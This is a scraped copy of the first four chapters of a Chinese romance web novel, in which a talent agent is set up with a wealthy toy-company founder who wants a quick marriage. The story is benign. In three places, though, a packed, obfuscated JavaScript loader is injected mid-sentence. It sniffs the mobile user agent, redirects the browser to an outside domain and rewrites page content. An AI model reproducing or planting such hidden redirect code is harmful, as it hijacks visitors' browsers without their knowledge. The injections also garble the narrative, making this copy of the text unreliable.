《胡乱牵红线[先婚后爱]》 1. 第1章 嗡嗡嗡——床头柜上的手机疯狂振动。 刚睡了不到四个小时的沈灼被吵醒，摸到手机凑近看，是关司予的艺人助理小芸打来的。她向来要求发生紧急的事直接打电话，看到来电，她突然咯噔，心里掠过一丝不好的感觉。 划过接听键，电话里传来小芸带着哭腔又急切的声音：“沈灼姐，司予哥受伤了！” 沈灼瞬间清醒，迅速爬起，直接抛了三连问：“伤在哪里？严不严重？去医院了吗？” “司予哥昏迷了几分钟，现在已经醒了，手臂红肿得有些厉害，胳膊和额头也有些蹭伤，其余的看不出来，已经叫救护车了，在等。” 沈灼思考片刻，作出了应对，交代道：“小芸，告诉剧组工作人员保密，不要外泄司予受伤的消息，我马上过去。” 挂了电话，沈灼立马打给助理林意，给她订一张最快到达H市的机票，没一会儿她收到了出票信息，两小时后刚好有一班航班。 沈灼是关司予的大经纪人，也是鲸禧娱乐的王牌经纪人。当时带她入行的经纪人说沈灼命里带火，能炼成一双“火眼金睛”。 事实证明，沈灼确实是个有眼光的经纪人，知人之明，看人犀利，自己带的艺人后来没有一个不成腕儿的。摸爬滚打快十年，沈灼已经带出来一个影后，一个视后，两个影帝，其中一个还连续入围两届戛纳最佳男主的角逐。 关司予是沈灼两年前签下的新人，凭着优越的长相，吸粉无数。仅主演一部电影，也是他大银幕首秀，便入围了金像奖、金鸡奖的最佳男主，并且获得了最佳新人奖。这会儿他正在H市拍戏。 沈灼翻身下床，从柜子里拿出登机箱，开始收拾东西。密码锁“滴滴”响了两声，随后又咔哒一声。她听见这动静，以为是来保洁的李阿姨。 “李阿姨，今天麻烦帮我去悦享买一些东西吧，会员卡和采购单我放在茶几上了。” “阿姨什么阿姨？”约莫五十岁的中年女人喊道。 听到这中气十足的洪亮声音，沈灼就知道是迟女士，这是沈灼的妈。 “妈，你怎么来了？”沈灼追风逐电般的装好行李，推着登机箱出来，看见迟女士站在门口，手里还拎着两个袋子。 “上周孙阿姨给你介绍的小伙儿你怎么没去见啊？”迟女士一边换鞋一边数落她。 “我都说了我没时间，你非要人介绍。再说你自己找了什么样的男人不知道啊，怎么老想着把我也往火坑里推呢。”沈灼从旁边鞋柜里拎出一双平底鞋。 “你这孩子，怎么能这么说。”迟女士叹口气，“算命的还说你今年能结婚呢，现在连个男的的影都没有，我看是一点不准，你可别拿这个再给我当挡箭牌了。” 沈灼不耐烦了，迟女士一和她提结婚相亲她就烦躁，“哎，先不和你说了，我现在急着出门。” “你这是要去哪儿？” “H市，我去探班。” “去几天啊？” “没定。”时间紧张，沈灼马上在打车软件上叫了个车。现在不是高峰期，车叫的很快，显示还有两分钟就能达到小区门口。 “我来不及了，先走了啊妈，拜拜！”沈灼风风火火出门，迟女士还没应，“砰”一声门便关上了。 她对着门叹口气，转身走进厨房，打开冰箱。玻璃层架空空荡荡的，门上的搁架放着几瓶果酒和汽水，还有一板鸡蛋。拉开果菜盒，两粒橙子因为抽屉盒的晃动，在里面滚来滚去，发出咕噜咕噜的声响。 迟女士眉毛皱起，有些生气但更多的是心疼，最终还是忍不住叹口气。 这么大的人了，怎么还不会好好照顾自己呢。 * 知道关司予的大经纪要来，剧组早就安排好接机的商务车在接机口等着，上了车后沈灼手指翻飞，回复着自家领导、剧组制片人、演员副导演等等各路消息。 小芸随后详细发信息和她说明了早上的意外，看着消息，沈灼的眉毛拧得越来越紧。 昨晚下了一整夜的淅沥小雨，早上的山林被淋的雾蒙蒙的氤氲一片，导演早上起来看这景色，一拍大腿，太适合补拍一场山林警匪追逐的戏码，毕竟洒水车和烟饼的效果不及自然氛围。 按理每场戏之前都要有替身彩排走位来几遍，尤其是动作戏。关司予知道时间仓促，硬是跳过彩排环节直接开拍。林子泥土松散，石块零碎松动，正式拍摄的时候他踩空了，直接滚下山坡。 沈灼心里直窜出一团火，随即又感到后怕。关司予是稀有的RH阴性血型，更糟糕的是他还有轻微凝血障碍，只不过平时靠药物治疗并没有影响到日常生活，但万一在这个小镇发生事故，没有得到及时的救助，后果不堪设想…… 拍摄地在H市下的一个小镇边上，从机场出发过去大概有一个半小时的车程。走到一半，车子开进了一片山区。 “轰隆”一声，响起惊雷，随后雨滴噼里啪啦的落下来，车内广播开始变得断断续续。司机关了广播，打开雨刷器，感叹：“这雨下得没完没了了。” 沈灼头也没抬的问道：“师傅，最近一直下雨吗？” 司机点头：“是啊，四月开始进雨季了。” 页面上发出的消息一直在转圈圈，最后直接变成一个红色感叹号。 沈灼问：“这边儿是没信号吗？” 司机回答：“这里靠山了，本来信号就差，下雨就更差了。” 沈灼有些焦急：“还有多久到镇上的医院？” 司机瞟了眼导航：“20分钟吧。” 沈灼看着手机信号时有时无，心里顿感焦灼。 雨势越来越大，车窗外像是铺了一层水帘，颇有一泻千里之势，沈灼的心也已经跟着这雨势塌落到这深山穷谷了。 * 关司予坐在急诊室的床位上，左腕缠上了绷带，右手打的点滴。小芸和制片人何志平立在一旁看护。 “沈灼姐。”关司予视线越过小芸的肩膀，看到沈灼拦住了一名医护人员在问路，“在这！” 沈灼闻声抬头，远远看到关司予心里又急又怒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590070|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大步朝向急诊室走过来，还不等走近，便忍不住愠恼：“你知不知道自己……” 关司予打断她，望着沈灼的眼睛安抚道：“对不起，是我自己不小心，都是小伤了，你别生气。”说完冲她眨眨眼，示意让她放心。每次惹恼沈妤，见她即将要发火的时候，关司予总是第一时间低头认错，让她没办法。 点滴打完，小护士过来拔下针头，又叮嘱几句注意事项和忌口便离开了，走的时候还频频回头，偷看了关司予好几眼。 “沈灼，今天这事儿确实是不应该，让司予受伤，真的对不起，以后我们一定做好保护工作。”何志平脸色讪讪，瞄着沈灼的脸色一个劲儿的在道歉。今天的通告都是内景戏份，但是导演临时起意加了一场外景戏，根本不在通告单上，这实打实是剧组的问题。 沈灼听了也不好再说什么，只能压着火气，开口：“毕竟是动作片，受伤是在所难免的，导演也是为了电影效果。” 何志平点头，“是，是，感谢理解。” 沈灼呼出一口气，试图平静下来，她瞄到小芸手里拿着检查报告和一袋药。她指了指要看检查结果。 关司予在医院拍了X光片和脑部CT，医生的诊断结果是有些轻微的脑震荡，静养几天便可恢复，手腕有些崴肿，万幸的是没有骨折移位，不算严重，医生开了些跌打损伤的药。 关司予叹口气，玩笑道：“唉，这里的医生护士都不认识我，沈灼姐，你可要帮我再多接点戏啊。” 沈灼瞪了他一眼，顺着他的话说道：“行，那今年都给你排满，没有假期了。” 关司予堆起一脸笑容，点头道：“好啊。” 沈灼作势佯装打他，关司予立马摆出一副委屈的样子：“疼，疼！” “你就没个正经！”沈灼嗔怒道。 气氛轻松下来，关司予也无大碍，何志平才有点底气，提议先回酒店休息。一行人从医院回到酒店。 进到房间，沈灼才感觉像是松了口气。 镇上酒店的条件不算好，甚至比不上市里的三星级连锁。行李箱里有一次性四件套，但她也顾不上那么多了，脱了鞋和风衣，直接仰倒在床上，四肢像是失去了支撑与知觉，随意伸展着。 这会神经松弛，才后知后觉有些饿。从早上到现在，已经快一天没吃饭了。沈灼想喝点小甜酒，麻痹一下神经，她看了眼时间，李阿姨现在应该在悦享买东西，她拿起手机发了一条语音过去，想让李阿姨多买几瓶琼瑶浆回去。 马上收到李阿姨回复：“沈灼，我没在悦享，今天打扫完卫生我就走啦。” 沈灼：“我写的采购单，放在茶几上了呀。” 李阿姨：“我打扫的时候没有看见呀，今天你妈妈来了，和她打了个照面儿，是不是她拿走了？” 手指一顿，她压根忘了这茬儿！ 要是迟女士帮她去买…… 沈灼想到采购单上写的东西，忍不住“嘶”的倒吸一口气。她打赌等迟女士买完东西，一定马上给她夺命call。 2. 第2章 迟女士拿着沈灼写好的采购单来到悦享，一样样找到沈灼要买的东西，边拿边叹气，车里装的几乎都是半成品或者速冻食品，水果蔬菜少得可怜…… 还剩最后两样，星鸟琼瑶浆和野马仔。 迟女士一皱眉，这都什么东西？她凭着猜测，推车来到饮料区，在货架上寻找，全是英文，看的她眼晕。 旁边站了个年轻人，从货架上拿了一打气泡饮料放进购物车里。 迟女士直接拦住他：“不好意思，小伙子，你能帮我看看这是什么吗，就是最后两个。”说着，迟女士还指了指。 等年轻人闻声转过身来，迟女士才仰头看到他的正脸，心里忍不住感叹：嚯，这小伙儿又高又帅啊！ 邵成章接过便条，看到最后，一行写的：星鸟琼瑶浆（荔枝玫瑰）x2。旁边还画了一副简笔画，一只大头鸡，尾巴只有翘着的四根毛。 下面一行写的：wildpony（野马仔），有多少拿多少！！！ 也有简笔画，看起来画的应该是只小马吧，邵成章这样想着。 趁着年轻人看便条的空隙，迟女士瞄到了他的购物车，水果、蔬菜都是精细包装，有机的，其余的是一些冷鲜肉类。生活方式真健康。 她心里突然萌生一个想法：沈灼就应该找一个这样会生活的男人结婚啊！ “阿姨，这不是饮料，是酒。”邵成章出声打断她的思绪。虽然他没听过这两个牌子的酒，但知道琼瑶浆是白葡萄酒的一种，香味饱满浓郁，带着一点甜但不腻，女孩子大多会喜欢。 “啊？”迟女士颦眉，有些担忧地嘀咕：“是酒啊……这丫头怎么还敢喝酒！” 邵成章猜测应该是帮女儿来买的，于是笑了下，宽慰她：“阿姨，这是葡萄酒，度数不算高，女孩子偶尔喝点也没有关系。”他的视线落到纸条上，又瞄到那句“有多少拿多少”及其后面跟着一串感叹号，仿佛能想像出写下纸条的人对野马仔酒张牙舞爪，疯狂的喜爱。 突然感觉刚才说的“偶尔”好像很不恰当啊……他挑挑眉，这个野马仔，当真有这么好喝吗？ 迟女士最后还是叹了一口气，妥协了，问道：“那你知道葡萄酒在哪个区域吗？” 其实就隔了一排货架，不过邵成章结账也要经过，便带着迟女士过去了。酒品区域很大一片，货架上摆着各式各样的酒，琳琅满目，眼花缭乱。 邵成章看到正在补货的酒品理货员，便走过去问他这两款酒的位置。遗憾的是，野马仔这款酒产量很少，已经断货很久了。 邵成章按照理货员说的找到了星鸟琼瑶浆这个牌子，终于知道对方为什么要在旁边画一只鸡了，每个口味都是一只不同的小动物，邵成章站在货架前一一对比，才知道对方画的原来不是鸡，是鸟…… 迟女士接过邵成章帮忙拿过来的酒，并由衷地表示感谢，二人就此告别。她看着邵成章推车走远，不禁感慨：这么好的小伙子，要是我女婿就好了啊…… 满满一购物车的东西，手推车只能推到感应门的门口，对面大概五十米处有的士上车点，迟女士各手拎着两个大袋子走过去打车。 与此同时，邵成章正启动了车子，开出停车位。经过超市门口，他礼让行人便缓缓停下等路人先过，没想到他再次看到了刚刚遇到的阿姨。 迟女士随着人群走着，刚走到过道中间，她感到右手手指像是被勒了一下，“吧嗒”一声，右手的一个袋子底部突然裂开，里面的东西撒了满地，几瓶果汁非常顺溜地滚远了几圈…… “哎呀！”她大喊一声，赶紧放下袋子，弯腰去捡掉落的东西。 邵成章在车上目睹着，他撇了眼后视镜，见后面没有车跟着，立马松开安全带下车，两步走到车后面，后备箱打开，里面放了一箱依云，邵成章将剩了的几瓶水拿出来，提着箱子过去，帮迟女士捡东西。 “阿姨，放箱子里吧。” 迟女士闻言抬头一看，刚刚的小伙子又出现了，“呀，小伙子，又是你啊，真是不好意思，又麻烦你了啊。” 邵成章头也没抬，说道：“没事，阿姨，这样在车道中间停留很危险。” 身边有两个小姑娘见状也过来帮忙，将散落的物品放心纸箱子里，迟女士不停地和几个人道谢。 身后传来了“滴滴”的喇叭声，邵成章加快速度，起身小跑几步，把不远处的果汁也捡了起来。 “阿姨，您先上车吧，咱们先开出去，不要占着路堵车。”邵成章一手捏着箱子边缘，一手拎着三个大袋子，走向后驾驶室。 “诶，好好！”迟女士应着，跟着过去上了车。 迟女士第一次坐卡宴，她不太认识这个品牌，但低调奢华的内饰让她觉得这个车一定不便宜。 “真是太谢谢你了啊，没想到又麻烦你了。” “没关系，顺手的事而已。阿姨，您住哪里？我往市里走，顺路可以送您回去。”邵成章已经开到停车场出口，正在排队缴费。 “这哪儿好意思，不耽误你吗？随便放我在路边上就好了。” “不耽误，今天是周末，休息。” 迟女士点点头，感叹道：“有休班真好，不像我姑娘工作忙，休班也没个固定时间。”她细细忖量，又瞄了眼邵成章搭在方向盘的双手，没有戒指……“周末怎么不和女朋友一起？”她试探道。 邵成章笑了笑，说：“还没有女朋友。”他拿起手机，打开导航，又问了一次迟女士住哪里。 迟女士本想不麻烦小伙子，想着让他这一听人家单身，立马报了小区名字，这可是为沈灼争取的好机会！ “怎么不找一个呢？”迟女士问。 邵成章回答：“我平时工作也很忙，顾不上。” “你是在什么单位？” 邵成章思考着手办盲盒一类的词可能老年人也不是很理解，就简单的用“玩具公司”带过了。 迟女士以为是毛绒玩具一类，颇有认可，“现在儿童玩具也挺赚钱的。” 邵成章解释：“我们的产品主要受众还是在年轻人……” 迟女士听得一知半解，不过听起来感觉也是个正经工作，她沉默片刻，在心里打好腹稿，想要介绍他和沈灼认识。 “小伙子，阿姨说这话可能有点唐突了，我家姑娘也是单身，一直想给她介绍个男朋友但周围就是没有合适的，阿姨觉得你人也好，长得也俊，工作也稳定。咱俩今天碰见，你帮我这么多次就说明有缘分……而且你看，你也是单身，要是不……” 迟女士话还没说完，就被突如其来的电话铃声打断。 “稍等，我接个电话。” 邵成章抬手轻触了下蓝牙耳机，接通电话，是他大哥邵成恪打来的，提醒他别忘了今天回大宅。 “我记得。”邵成章淡淡说道。 邵成恪：“对了成章，你和关昕认识吗？” 邵成章：“不熟，怎么了？” 邵成恪：“爸提了她好几次。”他听出大哥的画外音，邵松很有可能是想让他和关昕结婚，和关家联姻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590071|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邵成章眼神一冷，不过他的婚事怎么可能任由邵松摆布，他可不会当个邵家的机器啊…… “好，我知道了。” 挂了电话，邵成章忖思权衡…… 气氛有些凝固，只有导航时不时的提示声，迟女士准备续上刚刚没讲完的话，不料被邵成章抢先一步，喊了一声“阿姨”。 他刚刚听明白了迟女士的意思，想介绍她女儿和自己相亲呗，本想等她说完拒绝的，但是现在他改变主意了。 “既然您女儿也没有男朋友，那我想和您女儿认识一下。” * 提心吊胆的一天算是过去，“啪嗒啪嗒”雨珠敲打在玻璃上的声音是促进睡眠的白噪音，沈灼抵不住席卷而来的困意，她随手在头顶抓了个枕头枕着，进入了睡眠。 手机再次振动，沈灼惊醒。这次是迟女士打来的语音，还好不是和关司予有关，她放松之余又立即反应过来，迟女士这通电话肯定是来兴师问罪的！她心又吊起来，大概免不了一顿挨骂了。 沈灼和迟女士保证过，再也不喝酒了。 三年前，她喝酒出过事。那时候带的艺人多，几乎就是24小时随时待命的状态，工作压力大，神经紧绷久了就很难放松。不靠喝酒她几乎每晚难以入眠，甚至酒的度数也越喝越高。有一次她开着火煮东西却喝酒睡了过去，要不是邻居闻着味上来敲门，可能会出大事。 迟女士知道后震怒，一句“是不是想让我白发人送黑发人”让沈灼和她再三保证，以后绝对不会再多喝酒。迟女士把沈灼家里的酒全都收走了，然后给她带了几十包中药，让她好好调理。 后来沈灼喝酒就很节制了，平时太累就小酌点甜酒解解馋，基本不会超过二十度，喝一两杯也不会醉。 沈灼调小音量直接外放，又把手机放到一臂远的地方，她怕耳膜被震裂。 “灼……到……组了吗？”迟女士愉悦脆亮的声音在空中飘荡。 酒店的Wi-Fi也很勉强，语音断断续续，一句话只得听清几个字。但沈灼听到迟女士喜气洋洋的声调，突然有点儿懵，甚至从心底透出来一丝毛骨悚然的感觉。 竟然不是河东狮吼骂她买酒的事？！沈灼有些忐忑。 她哆嗦了一下，问道：“妈，什么事儿这么高兴？” 迟女士哈哈一笑：“妈去超……遇到一个帅……哥人稳重……好，等……回来……见呀。” 沈灼尽量将迟女士卡顿的一句话连起来，明白了。大概意思就是去超市买东西顺便帮她找了个相亲对象。 沈灼心里腹诽：您这是去超市了还是去北山公园相亲角了啊。 迟女士接着夸赞道：“条……件好。” 沈灼起身，将枕头垫在身后，闭眼眯着靠在床头，有一搭没一搭地回应着，问道：“怎么好了？” 迟女士：“开公司的……车……房。” 沈灼一口拒绝：“怎么还是开公司的车出来？这叫虚荣！妈，这种男人不能要。” …… 迟女士气急，提高声调：“我说他……当老板……很多店……。” 沈灼漫不经心：“哦，卖什么的？” 迟女士：“就……小……玩具……情人趣……不懂。” 哈？这都什么虎狼之词？！沈灼赶紧捞过手机又调小了两格音量。 语音时断时续，一句话被卡的七零八碎，什么小玩具、情趣……按照迟女士的说法加上她的自动脑补。 沈灼得出结论：这男的……是开情趣用品店的？ 3. 第3章 迟女士还在那边自顾自说着，表示对方对沈灼很满意，想尽快见面，看不到沈灼先是震惊后又迷惑的表情。沈灼像以往一样以工作太忙推脱了，却没想当到迟女士这次非常坚持。 好不容易有个条件这么好的小伙子怎么能放过呢！ 眼见着迟女士在急眼的边缘，又说回她买酒的事，沈灼自知理亏，无奈之下才终于答应。 挂断电话，沈灼感觉不对劲，非常不对劲！迟女士听她答应见面连喝酒的事都不和她计较了，沈灼生怕她被人骗了，于是赶紧给将军发消息狂轰乱炸，讲了前因后果。 将军，大名叫姜珺，是沈灼的高中同学，还上了同一所大学，也是她所有朋友里关系处的最好的一个。姜珺是个编剧，现在正跟剧组。 听到沈灼说对方是卖情趣用品店的，姜珺发的“哈哈哈……”占了满屏，打趣道：“我觉得不错，刚好可以治治你的性冷淡！恭喜你，以后终于能过上性.福生活了。对了你问问他们公司有什么好用的产品，给我推荐一下啊，还有我不喜欢纳入式的……” “……”沈灼非常无语：“姜珺！你不想活了是不是。” 对面直接发了个吗喽私密马赛的表情包过来，该说不说，姜珺该正经的时候还是很正经的，一秒切换状态：“骚凹瑞~说回正题。阿姨见过对方吗，就怕是她去了那种婚恋中介，你是不知道，那话术都一套套的！” 沈灼：“怎么说？” 姜珺：“要是说对方长得不错，那就只是五官齐全！说成熟稳重，那就是显老油腻！要是说家庭条件好，说明人品可能有问题，要是说工作稳定就表示收入不高……” 姜珺一口气说了数条，沈灼听得目瞪口呆，怎么能条条都中？ 沈灼：“要是说人好呢？”她怀着最后一丝希望，企图从姜珺那里听到一句好话。 姜珺：“嗯…那就是实在没得夸了。” …… 邵成章却不知道他在沈灼心里的形象，在短短几十分钟内，从一个开情趣用品店的老板变成了一个仅仅是五官俱在、长相油腻、人品不行、收入不高、百无一是的开情趣用品店的老板。 他突然打了个喷嚏。车子驶向益海山庄，邵成章看了眼仪表盘的温度，明明显示22度。 卡宴最终停在一幢大气沉稳的中式别墅前，镂花铁门缓缓拉开。邵成章打着方向盘拐进庭院，看见一辆劳斯莱斯幻影，是大哥邵成恪的车。 客厅里，兰芙玉正立在实木花架旁，修剪花束，她身着黛蓝色织锦缎中袖旗袍，配了一对珍珠耳饰，头发盘起，梳理得整整齐齐，一举一动都尽显优雅仪态。邵成恪在一旁观看。 邵成章走进别墅，穿过过道，来到客厅，看到的就是这样一副母慈子孝的画面。 目光微转，邵成章轻咳一声，和二人打招呼：“妈，大哥。” 兰芙玉闻声敛了笑容才转身，眼神淡漠地掠过邵成章，“嗯”了一声算是回应。 “成章，来啦！”相比之下，邵成恪倒是热切的多。 邵成章轻扯出一个笑容来，“我去看看爸。”他意欲离开，被兰芙玉拦下：“这几日你爸爸和关海应酬频繁，现在还在休息，先不去打扰他。”兰芙玉放下修枝剪，手抚上头发理了理，说道：“我先上楼。”话毕，便径自绕过邵成章上了二楼。 邵成章垂眸，掩下一丝厌弃的眼神。 待到兰芙玉走远，邵成恪上前一步，手搭在邵成章的肩膀，“看来父亲有意要和关家联姻了。” 邵成章收好情绪，扯唇一笑，说道：“我的事，他做不了主。” * 晚饭已经准备好，兰芙玉扶着邵松下楼，邵松已是耳顺之年，但精神矍铄，眉骨分明，目光如鹰眼般犀利，不怒而威。 邵成恪和邵成章走向餐厅，看到邵松下楼，异口同声喊了声“爸”。 邵家家风严守，吃饭便是食不言的规矩。吃得差不多了，邵松拿起餐巾擦嘴，缓缓出声：“成章，你的那个小公司既然稳定了就找人接手，回邵恒上班吧。” 邵成章在大学期间就和一名学设计的朋友合伙开了一家文化潮玩公司，是全国最早发展潮玩、目前也是国内最大最有知名度的一家文娱公司。 而邵恒集团是邵松白手起家，一手创办的，这几十年的发展，邵恒已经是金融及实业并行的跨国性龙头企业，国内赫赫有名的财团之一。 邵松一直看不上邵成章的潮玩公司，认为是不务正业。 邵成恪点头附和道：“成章，你想回来我来安排。” 兰芙玉闻言一顿，抬眼瞪了儿子一下便又恢复如常。然而这细小的动作还是被邵成章捕捉到了，当年邵成章回邵家学会的第一件事就是察言观色。 邵成章放下碗筷，冷声道：“快到年中，公司上下都在忙平台的电商计划，我没有回邵恒的打算。” 邵松哼出一口气：“你要记住你姓邵！” 邵成章看着邵松，对上他的眼神，一字一句地说道：“我当然知道自己姓什么，父、亲。”邵成章几乎是咬着后槽牙喊出这个称呼，随后眼神微转，视线划过兰芙玉，“邵恒有大哥在就够了。” 兰芙玉垂下眼帘，她知道这话是说给她听的：邵成章不会抢他大哥的位置。 邵松语气略为缓和：“好，工作上的事我可以先不管你。关昕应该就快回来了，等她回来你亲自去接。” 邵成章敷衍着：“我没有时间。” 邵松拔高声量，厉声道：“没有时间就挤出时间！我也不和你绕弯子了，这些天我和关家老爷子在一起就是商议你和关昕的婚事，关家在A市有头有脸，以后有关家这层关系，谁都要给点面子，不仅为你自己也是为邵恒……” 邵成章嗤笑一声，不疾不徐地道：“也对，养女和私生子听起来会比较般配。” 私生子，这三个字在家风正严体面的邵家，听着尤为刺耳。 “成章！”邵成恪示意他说话有些过分了。 “你——”邵松气得怒拍桌子，兰芙玉抬手轻拍在他后背安抚，转头对着邵成章，“成章，怎么能和你父亲这么说话！” 邵成章也懒的继续在这费口舌，起身说道：“我工作上的事你管不了，婚事也一样。我吃好了，就先回去了。父亲，母亲，大哥，再见。” 说罢，邵成章径自走出别墅，将他认为的一家三口留在身后。他实在是不知道，每月都要进行一次的家庭晚餐有什么意义，明明他们才是一家人，他与他们格格不入。 卡宴启动，邵成章打着方向盘开出铁门，一脚油门踩了下去，瞬间消失在邵家别墅门口。 邵成章没有直接回市中心的公寓，开进市里他拐进了一条霓虹闪烁的街道，这里是A市的酒吧一条街。 在小街尽头，有家不起眼的清吧，没有熠熠闪耀的灯牌，门头是一块粗糙肌理的火山岩石板，上面一个“渡”字浮雕，石板下面铺了一根软灯条，映着暖黄色的光。 邵成章在路边停好车，推开门进去。 今天是周末，客人比平时多一点，门口已经有很多人在等位，邵成章从门口进入吸引了不少等位姑娘的目光注视与追随。他进门之后没有拐进内场，而是直走到最里面推开一道隐形门，可以通向二楼。 二楼的空间很大，但仅有几个散台座位和四个卡座。泛着光泽的皮质长沙发，复古灯具，唱片机上徐徐转着的黑胶唱片，尽显奢华，一层之隔和楼下的轻浮嚣闹形成了反差。这里也仅为SVIP客户开放，现在只有一台卡座有客人在聊天。 一位长发到肩的年轻男人在吧台调酒，是“渡”的老板，梁屿琛。 看到邵成章过来，梁老板还略有些意外：“怎么有空过来？”调好两杯鸡尾酒，他吩咐旁边的服务生给客人端过去。 邵成章勾唇：“来看看你这酒吧倒闭了没。” 梁老板笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590072|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道：“多谢邵总挂念，既然来了那今天的成交额就交给邵总了，喝点什么？” 邵成章说：“不了，今天我自己开车。” 梁老板点头，给他自制了一杯气泡水，气泡带着细微呲喇的声音从杯底升到水面。 邵成章拿起杯子抿了一口，突然拿出手机，调出了联系人页面，找到“沈灼”，点开短信键，敲敲打打，发送了一条短信出去。 下午邵成章和迟女士表达了自己想和沈灼相亲的想法后，迟女士又惊又喜，高兴得合不拢嘴，立即将自家闺女的电话告诉他，又急急忙忙从手机里找了几张沈灼的照片给他看。 照片里的沈灼站在海边浅滩里，笑得肆意张扬，看起来很明媚，很阳光。 不过邵成章不在意对方的条件，眼下最重要的就是他可以找到一个人马上结婚。如果现在有合适的人选，就直接拿下。邵成章不想在这种事上浪费时间。 谈判，得要投其所好，有诚意。 邵成章说：“帮我找个牌子的酒。” “好啊，我这什么都有。”梁老板扬起下巴，指指侧面巨大的酒柜，那里摆放着各地有名的酒品，以及很冷门小众的酒。 “Wildpony。” 梁老板挑眉，这是一款自然酒，酒液是西柚粉色，果香气丰富，入口微酸，回甘有一丝甜，实在不像邵成章会喜欢的口味。 梁老板狐疑：“你什么时候性情大变，喜欢这么粉嫩的口味了？” 邵成章：“……” 这款酒年产量固定，店里也只有22年产的，且仅剩最后两瓶，梁老板自认割爱不了。最后，邵成章在“渡”的会员卡里充值了六位数的酒水费，成功带走。 梁老板将酒包装好，递过去的时候对着袋子假装抹泪：“对不起小野马，他给的实在是太多了。” …… 手机震动两声，沈灼从口袋里拿出手机，发现有一条陌生电话号码的短信。她点开。 “你好沈小姐，我是邵成章。想必令堂已经和你说过见面一事，回到A市，可以安排。这是我的电话，有时间可以随时联系我。” 沈灼一脸嫌弃地读了遍短信，脑海中勾勒出一个中年油腻大汉的形象，不禁起了一身鸡皮疙瘩。 沈灼毫不客气地回复：“不好意思，我没空。” 邵成章早已经回到公寓，正在给爱宠阿瑞斯喂食。这是一只成年的血红鬃狮蜥，锈红色的皮肤，尾巴上有着一道一道的黑色条纹，看起来像一只穿着盔甲的英勇战士，非常帅气。 手机亮起，邵成章打开短信，看到回复轻声一笑。 这个结果，意料之中。 沈灼翻了个白眼，嘀咕着：“嘁，还‘随时联系我’……拜拜吧您嘞！”她正准备拉黑邵成章的号码，对方又发来一条短信。 邵成章：“最近刚收了两瓶wildpony，不知沈小姐可会喜欢？” 叮咚一声，又来一条消息，是张wildpony的照片。 沈灼第一次喝到这酒的时候，就认定这是自己的本命酒，但是这个牌子的酒每年限量产出，很难买，她去了很多酒吧都找不到这款酒。 得不到的永远在骚动，陈奕迅早就告诉她了，沈灼这会儿可是体会到了。 看着短信她依旧想要铁骨铮铮地坚持不去，可在是非短长面前，沈灼一向趋利。现在甚至自我批评，一双带着温度的手怎么能打出“没空”这样如此冰冷的文字呢？！ 沈灼手指快速移动，几乎是秒回：“时间我定，地点你定。” 邵成章扫了一眼短信页面，终于露出一个满意的笑容。 “阿瑞斯，今天奖励你多吃一点。”本来要收起食粮的邵成章又拿起镊子，挑起一颗宠物干粮伸进生态缸。阿瑞斯动作灵敏，迅速爬过来，张开嘴便吞进了食物，确认主人不再喂食，便又爬到造景木上，歪头盯着主人，不知道主人为什么突然会开心。 4. 第4章 关司予伤势不严重，沈灼在剧组呆了四天也必须回去了，期间迟女士还电话关心她和邵成章的进展，听到她说确定会和邵成章见面才满意地挂断电话。 回家打开冰箱，里面满满当当，都是迟女士给她囤的货。看到门上有几瓶琼瑶浆，她这才想起来和邵成章约好相亲的事。倒了一杯琼瑶浆，沈灼小品一口，拿起手机发了条信息：“邵先生，我是沈灼，请问周六下午三点有时间吗？” 邵成章刚刚走出公司，看到沈灼发来的消息，他微挑眉，这短信发的比想象中的快。他回复一条可以，又切换到微信里，复制了沈灼的手机号发送了好友请求。沈灼通过申请，邵成章打了招呼后发送了一个见面地点的地址。 几天稀松平常的过去，转眼到了周六。 邵成章定在一家网红泡茶店，上半年才开业。刚开业那会儿，沈灼一直听公司里的小姑娘说要来打卡。对于这个地点，沈灼还挺出乎意料的，对方好像也不是那么古板。 沈灼按着提前十分钟到达的时间出发，却没想到周末这里车满为患，地面上竟然没有空的车位，地下停车场在对面的商场又太远，沈灼无奈边开车边找车位。转了两圈终于有要空出来的车位，沈灼待车子一离开车位，打着方向盘就拐进去停住，下车之后，才发现和旁边的玛莎拉蒂大概也只有半臂距离。 沈灼心里想：一会儿速战速决吧。 还差两分钟三点，沈灼先给邵成章发了条消息：“我到了。” 马上手机响起，邵成章回复：“靠窗的位置。” 沈灼挑眉，原来是早就来了。 整面的透明玻璃让茶室显得通透舒畅，风格朴素却不沉闷。不得不承认，邵成章选的地点倒颇合她心意。沈灼环顾四周，发现右手边第二个靠窗座位是名男士，不过看起来倒是还蛮清爽，也不像姜珺描述的那么不堪。她疑惑着走过去，一个女孩子笑着落座到男人对面。 …… 